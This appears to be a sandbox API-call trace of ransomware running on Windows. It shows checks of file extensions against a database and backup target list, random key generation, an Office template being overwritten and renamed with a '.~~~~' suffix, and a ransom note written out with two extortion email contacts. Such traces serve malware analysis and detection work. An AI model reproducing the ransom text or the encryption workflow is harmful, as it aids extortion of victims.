	[0143.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".dbv") returned 0x0
	[0143.949] lstrlenW (lpString=".SDF") returned 4
	[0143.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".SDF") returned 0x0
	[0143.949] lstrlenW (lpString=".dtxs") returned 5
	[0143.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".dtxs") returned 0x0
	[0143.949] lstrlenW (lpString=".db3") returned 4
	[0143.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".db3") returned 0x0
	[0143.949] lstrlenW (lpString=".OST") returned 4
	[0143.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".OST") returned 0x0
	[0143.951] lstrlenW (lpString=".dbx") returned 4
	[0143.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".dbx") returned 0x0
	[0143.951] lstrlenW (lpString=".DB3") returned 4
	[0143.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".DB3") returned 0x0
	[0143.951] lstrlenW (lpString=".DAT") returned 4
	[0143.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".DAT") returned 0x0
	[0143.951] lstrlenW (lpString=".VHDX") returned 5
	[0143.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".VHDX") returned 0x0
	[0143.951] lstrlenW (lpString=".ndf") returned 4
	[0143.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".ndf") returned 0x0
	[0143.951] lstrlenW (lpString=".DB") returned 3
	[0143.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".DB") returned 0x0
	[0143.951] lstrlenW (lpString=".sql") returned 4
	[0143.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".sql") returned 0x0
	[0143.951] lstrlenW (lpString=".MYD") returned 4
	[0143.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".MYD") returned 0x0
	[0143.951] lstrlenW (lpString=".DBT") returned 4
	[0143.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".DBT") returned 0x0
	[0143.951] lstrlenW (lpString=".ACCDB") returned 6
	[0143.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".ACCDB") returned 0x0
	[0143.951] lstrlenW (lpString=".fdb") returned 4
	[0143.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".fdb") returned 0x0
	[0143.951] lstrlenW (lpString=".bak") returned 4
	[0143.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".bak") returned 0x0
	[0143.951] lstrlenW (lpString=".myd") returned 4
	[0143.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".myd") returned 0x0
	[0143.951] lstrlenW (lpString=".DTXS") returned 5
	[0143.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".DTXS") returned 0x0
	[0143.952] lstrlenW (lpString=".ckp") returned 4
	[0143.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".ckp") returned 0x0
	[0143.952] lstrlenW (lpString=".dbt") returned 4
	[0143.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".dbt") returned 0x0
	[0143.952] lstrlenW (lpString=".db") returned 3
	[0143.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".db") returned 0x0
	[0143.952] lstrlenW (lpString=".TXT") returned 4
	[0143.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".TXT") returned 0x0
	[0143.952] lstrlenW (lpString=".MDF") returned 4
	[0143.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".MDF") returned 0x0
	[0143.952] lstrlenW (lpString=".bdb") returned 4
	[0143.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".bdb") returned 0x0
	[0143.952] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0143.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0143.952] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0143.952] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0143.952] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0143.953] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0143.953] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0143.953] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0143.953] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0143.953] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0143.953] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26394341899) returned 1
	[0143.953] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbf35eb70, dwHighDateTime=0x1d60e1e)) 
	[0143.953] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0143.953] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0143.953] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0143.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cd268
	[0143.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0143.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd268 | out: hHeap=0x300000) returned 1
	[0143.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0143.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0143.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ac128
	[0143.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0143.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0143.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ac128 | out: hHeap=0x300000) returned 1
	[0143.954] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0143.954] GetLastError () returned 0x0
	[0143.954] GetLastError () returned 0x0
	[0143.954] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0143.955] GetLastError () returned 0x0
	[0143.955] GetLastError () returned 0x0
	[0143.955] ReadFile (in: hFile=0x138, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x24dfec0*=0x2169, lpOverlapped=0x0) returned 1
	[0144.029] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffde97, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.029] WriteFile (in: hFile=0x138, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x2169, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0x2169, lpOverlapped=0x0) returned 1
	[0144.029] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0144.029] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.029] WriteFile (in: hFile=0x138, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.029] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.029] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.030] CloseHandle (hObject=0x138) returned 1
	[0144.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39b440
	[0144.030] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\distinctive.dotx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\distinctive.dotx.~~~~")) returned 1
	[0144.107] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39b440 | out: hHeap=0x300000) returned 1
	[0144.107] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0144.107] GetLastError () returned 0x0
	[0144.108] RtlWakeConditionVariable () returned 0x0
	[0144.108] GetCurrentThreadId () returned 0x3a4
	[0144.108] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Read~ME.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0144.109] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0144.109] WriteFile (in: hFile=0x138, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0144.110] CloseHandle (hObject=0x138) returned 1
	[0144.110] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ac9b0 | out: hHeap=0x300000) returned 1
	[0144.110] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f50d8 | out: hHeap=0x300000) returned 1
	[0144.110] RtlWakeConditionVariable () returned 0x0
	[0144.111] GetCurrentThreadId () returned 0x3a4
	[0144.111] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".scr") returned 0x0
	[0144.111] lstrlenW (lpString=".cmd") returned 4
	[0144.111] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".cmd") returned 0x0
	[0144.111] lstrlenW (lpString=".dll") returned 4
	[0144.111] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".dll") returned 0x0
	[0144.111] lstrlenW (lpString=".bat") returned 4
	[0144.111] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".bat") returned 0x0
	[0144.111] lstrlenW (lpString=".cpl") returned 4
	[0144.111] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".cpl") returned 0x0
	[0144.111] lstrlenW (lpString=".sys") returned 4
	[0144.111] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".sys") returned 0x0
	[0144.111] lstrlenW (lpString=".msc") returned 4
	[0144.111] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".msc") returned 0x0
	[0144.111] lstrlenW (lpString=".com") returned 4
	[0144.111] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".com") returned 0x0
	[0144.111] lstrlenW (lpString=".lnk") returned 4
	[0144.111] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".lnk") returned 0x0
	[0144.111] lstrlenW (lpString=".msp") returned 4
	[0144.111] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".msp") returned 0x0
	[0144.111] lstrlenW (lpString=".pif") returned 4
	[0144.111] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".pif") returned 0x0
	[0144.111] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.111] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch="msp\r\n.pif") returned 0x0
	[0144.111] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\reviewrouting_init.xsn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0144.113] lstrlenW (lpString=".sqb") returned 4
	[0144.113] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".sqb") returned 0x0
	[0144.113] lstrlenW (lpString=".ost") returned 4
	[0144.113] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".ost") returned 0x0
	[0144.113] lstrlenW (lpString=".txt") returned 4
	[0144.113] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".txt") returned 0x0
	[0144.113] lstrlenW (lpString=".mdt") returned 4
	[0144.113] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".mdt") returned 0x0
	[0144.113] lstrlenW (lpString=".BDB") returned 4
	[0144.113] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".BDB") returned 0x0
	[0144.113] lstrlenW (lpString=".eql") returned 4
	[0144.113] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".eql") returned 0x0
	[0144.113] lstrlenW (lpString=".DBF") returned 4
	[0144.113] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".DBF") returned 0x0
	[0144.113] lstrlenW (lpString=".EQL") returned 4
	[0144.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".EQL") returned 0x0
	[0144.114] lstrlenW (lpString=".FDB") returned 4
	[0144.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".FDB") returned 0x0
	[0144.114] lstrlenW (lpString=".EDB") returned 4
	[0144.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".EDB") returned 0x0
	[0144.114] lstrlenW (lpString=".DACPAC") returned 7
	[0144.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".DACPAC") returned 0x0
	[0144.114] lstrlenW (lpString=".VHD") returned 4
	[0144.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".VHD") returned 0x0
	[0144.114] lstrlenW (lpString=".DBV") returned 4
	[0144.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".DBV") returned 0x0
	[0144.114] lstrlenW (lpString=".dacpac") returned 7
	[0144.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".dacpac") returned 0x0
	[0144.114] lstrlenW (lpString=".sdf") returned 4
	[0144.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".sdf") returned 0x0
	[0144.114] lstrlenW (lpString=".accdb") returned 6
	[0144.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".accdb") returned 0x0
	[0144.114] lstrlenW (lpString=".DBX") returned 4
	[0144.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".DBX") returned 0x0
	[0144.114] lstrlenW (lpString=".MDT") returned 4
	[0144.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".MDT") returned 0x0
	[0144.114] lstrlenW (lpString=".SQB") returned 4
	[0144.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".SQB") returned 0x0
	[0144.114] lstrlenW (lpString=".vhd") returned 4
	[0144.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".vhd") returned 0x0
	[0144.114] lstrlenW (lpString=".bac") returned 4
	[0144.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".bac") returned 0x0
	[0144.114] lstrlenW (lpString=".mdf") returned 4
	[0144.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".mdf") returned 0x0
	[0144.114] lstrlenW (lpString=".BAK") returned 4
	[0144.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".BAK") returned 0x0
	[0144.114] lstrlenW (lpString=".BAC") returned 4
	[0144.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".BAC") returned 0x0
	[0144.115] lstrlenW (lpString=".dbs") returned 4
	[0144.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".dbs") returned 0x0
	[0144.115] lstrlenW (lpString=".vhdx") returned 5
	[0144.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".vhdx") returned 0x0
	[0144.115] lstrlenW (lpString=".NDF") returned 4
	[0144.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".NDF") returned 0x0
	[0144.115] lstrlenW (lpString=".dat") returned 4
	[0144.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".dat") returned 0x0
	[0144.115] lstrlenW (lpString=".DBS") returned 4
	[0144.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".DBS") returned 0x0
	[0144.115] lstrlenW (lpString=".CKP") returned 4
	[0144.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".CKP") returned 0x0
	[0144.115] lstrlenW (lpString=".edb") returned 4
	[0144.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".edb") returned 0x0
	[0144.115] lstrlenW (lpString=".PST") returned 4
	[0144.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".PST") returned 0x0
	[0144.115] lstrlenW (lpString=".dbf") returned 4
	[0144.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".dbf") returned 0x0
	[0144.115] lstrlenW (lpString=".SQL") returned 4
	[0144.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".SQL") returned 0x0
	[0144.115] lstrlenW (lpString=".pst") returned 4
	[0144.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".pst") returned 0x0
	[0144.115] lstrlenW (lpString=".dbv") returned 4
	[0144.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".dbv") returned 0x0
	[0144.115] lstrlenW (lpString=".SDF") returned 4
	[0144.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".SDF") returned 0x0
	[0144.116] lstrlenW (lpString=".dtxs") returned 5
	[0144.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".dtxs") returned 0x0
	[0144.116] lstrlenW (lpString=".db3") returned 4
	[0144.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".db3") returned 0x0
	[0144.116] lstrlenW (lpString=".OST") returned 4
	[0144.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".OST") returned 0x0
	[0144.116] lstrlenW (lpString=".dbx") returned 4
	[0144.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".dbx") returned 0x0
	[0144.116] lstrlenW (lpString=".DB3") returned 4
	[0144.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".DB3") returned 0x0
	[0144.116] lstrlenW (lpString=".DAT") returned 4
	[0144.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".DAT") returned 0x0
	[0144.116] lstrlenW (lpString=".VHDX") returned 5
	[0144.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".VHDX") returned 0x0
	[0144.116] lstrlenW (lpString=".ndf") returned 4
	[0144.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".ndf") returned 0x0
	[0144.116] lstrlenW (lpString=".DB") returned 3
	[0144.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".DB") returned 0x0
	[0144.116] lstrlenW (lpString=".sql") returned 4
	[0144.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".sql") returned 0x0
	[0144.116] lstrlenW (lpString=".MYD") returned 4
	[0144.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".MYD") returned 0x0
	[0144.116] lstrlenW (lpString=".DBT") returned 4
	[0144.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".DBT") returned 0x0
	[0144.116] lstrlenW (lpString=".ACCDB") returned 6
	[0144.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".ACCDB") returned 0x0
	[0144.117] lstrlenW (lpString=".fdb") returned 4
	[0144.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".fdb") returned 0x0
	[0144.117] lstrlenW (lpString=".bak") returned 4
	[0144.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".bak") returned 0x0
	[0144.117] lstrlenW (lpString=".myd") returned 4
	[0144.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn", lpSrch=".myd") returned 0x0
	[0144.117] lstrlenW (lpString=".DTXS") returned 5
